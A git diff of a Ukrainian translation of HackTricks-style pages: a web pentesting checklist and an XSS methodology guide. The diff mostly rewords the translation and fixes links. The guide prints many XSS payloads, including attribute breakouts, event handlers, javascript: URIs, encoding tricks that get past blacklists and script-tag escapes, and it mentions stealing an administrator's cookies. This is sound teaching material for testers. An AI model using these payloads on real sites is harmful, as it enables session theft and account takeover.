- [ ] [**Серверна підробка запиту**](../ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Ін'єкція шаблонів на стороні сервера**](../ssti-server-side-template-injection/)
|
||||
- [ ] [**Зворотне таб-навбінг**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Серверна ін'єкція**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
|
||||
- [ ] [**Серверне включення/Включення на краю**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Серверне підроблення запитів**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Введення шаблону на стороні сервера**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Зворотне захоплення вкладок**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Серверне включення**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
@ -54,12 +54,12 @@
|
||||
|
||||
Якщо функція може бути використана для пошуку якихось даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
|
||||
|
||||
- [ ] [**Інклюзія файлів/Перехід по шляху**](../file-inclusion/)
|
||||
- [ ] [**NoSQL Ін'єкція**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Ін'єкція**](../ldap-injection.md)
|
||||
- [ ] [**Включення файлів/Перехід по шляху**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Введення**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Введення**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Ін'єкція**](../sql-injection/)
|
||||
- [ ] [**XPATH Ін'єкція**](../xpath-injection.md)
|
||||
- [ ] [**SQL Введення**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Введення**](../xpath-injection.md)
|
||||
|
||||
### **Форми, WebSockets та PostMsgs**
|
||||
|
||||
@ -67,15 +67,15 @@
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Перехоплення WebSocket (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**Уразливості PostMessage**](../postmessage-vulnerabilities/)
|
||||
- [ ] [**Уразливості PostMessage**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Заголовки**
|
||||
|
||||
Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі уразливості.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Обхід політики безпеки вмісту**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Злом Cookies**](../hacking-with-cookies/)
|
||||
- [ ] [**Обхід політики безпеки вмісту**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Злом Cookies**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Неправильні налаштування та обхід**](../cors-bypass.md)
|
||||
|
||||
### **Обходи**
|
||||
@ -85,7 +85,7 @@
|
||||
- [ ] [**Обхід 2FA/OTP**](../2fa-bypass.md)
|
||||
- [ ] [**Обхід процесу оплати**](../bypass-payment-process.md)
|
||||
- [ ] [**Обхід Captcha**](../captcha-bypass.md)
|
||||
- [ ] [**Обхід входу**](../login-bypass/)
|
||||
- [ ] [**Обхід входу**](../login-bypass/index.html)
|
||||
- [ ] [**Умова гонки**](../race-condition.md)
|
||||
- [ ] [**Обхід обмеження швидкості**](../rate-limit-bypass.md)
|
||||
- [ ] [**Обхід скидання забутого пароля**](../reset-password.md)
|
||||
@ -94,10 +94,10 @@
|
||||
### **Структуровані об'єкти / Специфічні функції**
|
||||
|
||||
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (як серіалізований об'єкт мови або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
|
||||
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (як ін'єкції заголовків електронної пошти).
|
||||
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (як Введення заголовків електронної пошти).
|
||||
|
||||
- [ ] [**Десеріалізація**](../deserialization/)
|
||||
- [ ] [**Ін'єкція заголовків електронної пошти**](../email-injections.md)
|
||||
- [ ] [**Десеріалізація**](../deserialization/index.html)
|
||||
- [ ] [**Введення заголовка електронної пошти**](../email-injections.md)
|
||||
- [ ] [**Уразливості JWT**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML Зовнішня сутність**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
@ -107,15 +107,15 @@
|
||||
Функції, які генерують файли, включаючи введення користувача, можуть виконувати непередбачений код.\
|
||||
Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані.
|
||||
|
||||
- [ ] [**Завантаження файлів**](../file-upload/)
|
||||
- [ ] [**Ін'єкція формул**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Ін'єкція PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Завантаження файлів**](../file-upload/index.html)
|
||||
- [ ] [**Введення формули**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Введення PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Серверний XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Зовнішнє управління ідентичністю**
|
||||
|
||||
- [ ] [**OAUTH до захоплення облікового запису**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**Атаки SAML**](../saml-attacks/)
|
||||
- [ ] [**Атаки SAML**](../saml-attacks/index.html)
|
||||
|
||||
### **Інші корисні уразливості**
|
||||
|
||||
@ -124,6 +124,6 @@
|
||||
- [ ] [**Захоплення домену/піддомену**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Забруднення параметрів**](../parameter-pollution.md)
|
||||
- [ ] [**Уразливість нормалізації Unicode**](../unicode-injection/)
|
||||
- [ ] [**Уразливість нормалізації Unicode**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
## Методологія
|
||||
|
||||
1. Перевірте, чи **будь-яке значення, яке ви контролюєте** (_параметри_, _шлях_, _заголовки_?, _куки_?) **відображається** в HTML або **використовується** кодом **JS**.
|
||||
2. **Знайдіть контекст**, де воно відображається/використовується.
|
||||
2. **Знайдіть контекст**, в якому воно відображається/використовується.
|
||||
3. Якщо **відображається**
|
||||
1. Перевірте, **які символи ви можете використовувати** і в залежності від цього підготуйте payload:
|
||||
1. У **сирому HTML**:
|
||||
@ -11,7 +11,7 @@
|
||||
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
|
||||
3. Чи можете ви обійти захист?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Всередині **HTML тегу**:
|
||||
1. Чи можете ви вийти в сирий HTML контекст?
|
||||
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
|
||||
@ -19,13 +19,13 @@
|
||||
4. Чи можете ви обійти захист?
|
||||
3. Всередині **JavaScript коду**:
|
||||
1. Чи можете ви втекти з тегу `<script>`?
|
||||
2. Чи можете ви втекти з рядка і виконати різний JS код?
|
||||
2. Чи можете ви втекти з рядка і виконати інший JS код?
|
||||
3. Чи ваші введення в шаблонних літералах \`\`?
|
||||
4. Чи можете ви обійти захист?
|
||||
4. Javascript **функція**, що **виконується**
|
||||
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
|
||||
4. Якщо **використовується**:
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу на те, як контролюється ваше введення і чи **контрольоване вами введення використовується будь-яким sink.**
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи ваше **контрольоване введення використовується будь-яким sink.**
|
||||
|
||||
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
|
||||
|
||||
@ -43,21 +43,21 @@ debugging-client-side-js.md
|
||||
|
||||
## Контексти
|
||||
|
||||
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де відображається ваше введення**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
|
||||
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де ваше введення відображається**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
|
||||
|
||||
### Сирий HTML
|
||||
|
||||
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
|
||||
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Всередині атрибуту HTML тегів
|
||||
### Всередині атрибута HTML тегів
|
||||
|
||||
Якщо ваше введення відображається всередині значення атрибуту тегу, ви могли б спробувати:
|
||||
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
|
||||
|
||||
1. **Втекти з атрибуту та з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибуту, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибуту** (`"` закодовано або видалено), тоді в залежності від **якого атрибуту** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**неексплуатованих тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**неексплуатованих тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
|
||||
```html
|
||||
@ -70,11 +70,11 @@ debugging-client-side-js.md
|
||||
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
|
||||
|
||||
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
|
||||
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо виникне помилка, він не буде виконаний):
|
||||
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо є помилка, він не буде виконаний):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази** за допомогою синтаксису `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази**, використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode кодування** працює для написання **дійсного javascript коду**:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -94,7 +94,7 @@ js-hoisting.md
|
||||
|
||||
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на кшталт: `?callback=callbackFunc`.
|
||||
|
||||
Добрий спосіб дізнатися, чи щось, що надано безпосередньо користувачем, намагається виконатися, це **модифікувати значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
|
||||
Добрий спосіб дізнатися, чи щось, що надано безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -153,7 +153,7 @@ server-side-xss-dynamic-pdf.md
|
||||
Для цих випадків також **пам'ятайте** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*або \*\*\*\*\*\***`--!>`\*\**_
|
||||
|
||||
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати пейлоади, такі як:
|
||||
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -243,14 +243,14 @@ onerror=alert`1`
|
||||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
|
||||
### Всередині тегу/вихід з значення атрибута
|
||||
|
||||
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні навантаження (зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу):
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -265,14 +265,14 @@ onerror=alert`1`
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Всередині атрибута
|
||||
### У межах атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися </a>`
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Назад </a>`
|
||||
|
||||
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
|
||||
```javascript
|
||||
@ -303,7 +303,7 @@ onerror=alert`1`
|
||||
```
|
||||
### Спеціальні протоколи в атрибуті
|
||||
|
||||
Там ви можете використовувати протоколи **`javascript:`** або **`data:`** в деяких місцях, щоб **виконати довільний JS код**. Деякі з них вимагатимуть взаємодії з користувачем, а деякі - ні.
|
||||
Там ви можете використовувати протоколи **`javascript:`** або **`data:`** в деяких місцях для **виконання довільного JS коду**. Деякі з них вимагатимуть взаємодії з користувачем, а деякі - ні.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -357,7 +357,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Зверніть увагу, що якщо ви спробуєте **використовувати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
|
||||
Зверніть увагу, що якщо ви спробуєте **використати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
|
||||
|
||||
**Використання Hex та Octal кодування з `javascript:`**
|
||||
|
||||
@ -377,7 +377,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank"` та `rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
І в **meta тегах**:
|
||||
І в **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -426,29 +426,29 @@ onbeforetoggle="alert(2)" />
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
|
||||
**Payload XSS буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Обхід чорного списку
|
||||
|
||||
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
|
||||
Вже було виявлено кілька трюків з використанням різного кодування в цій секції. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
|
||||
|
||||
- **HTML кодування (HTML теги)**
|
||||
- **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
- **URL кодування**
|
||||
- **Шістнадцяткове та вісімкове кодування**
|
||||
- **кодування даних**
|
||||
|
||||
**Обхід для HTML тегів та атрибутів**
|
||||
**Обходи для HTML тегів та атрибутів**
|
||||
|
||||
Прочитайте [Обхід чорного списку попередньої секції](#blacklist-bypasses).
|
||||
Читайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
|
||||
|
||||
**Обхід для JavaScript коду**
|
||||
**Обходи для JavaScript коду**
|
||||
|
||||
Прочитайте [чорний список обходу JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
Читайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Гаджети
|
||||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певного роду взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -472,7 +472,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### Вихід з тегу \<script>
|
||||
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'відображені дані' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Заміни пробілів всередині JS коду**
|
||||
**Заміни пробілів у JS коді**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -752,7 +752,7 @@ dom-xss.md
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в весь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -766,9 +766,9 @@ dom-xss.md
|
||||
|
||||
### Віддзеркалення сесії
|
||||
|
||||
Якщо ви знайдете деякі self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
|
||||
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
|
||||
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
|
||||
|
||||
## Інші обхідні шляхи
|
||||
|
||||
@ -780,14 +780,14 @@ dom-xss.md
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails обхід
|
||||
### Ruby-On-Rails обход
|
||||
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обминається, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обходиться, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Приклад форми ([з цього звіту](https://hackerone.com/reports/709336)), якщо ви надішлете payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Пара "Key","Value" буде відображена назад ось так:
|
||||
Пара "Key","Value" буде виведена назад ось так:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
@ -825,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS з ін'єкцією заголовків у відповіді 302
|
||||
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу не буде працювати.
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу не спрацює.
|
||||
|
||||
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати payload XSS у тілі.\
|
||||
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
|
||||
@ -836,7 +836,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
### Дійсні `<script>` Content-Types для XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви намагаєтеся завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
|
||||
> Відмовлено у виконанні скрипта з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
|
||||
@ -868,10 +868,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
Відповідь:
|
||||
|
||||
- **module** (за замовчуванням, нічого не потрібно пояснювати)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
|
||||
- **модуль** (за замовчуванням, нічого не потрібно пояснювати)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у **`.wbn`** файл.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -900,7 +898,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, оскільки це може викликати XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
- [**правиласпекуляції**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -916,24 +914,24 @@ import { partition } from "lodash"
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Веб-типи вмісту для XSS
|
||||
|
||||
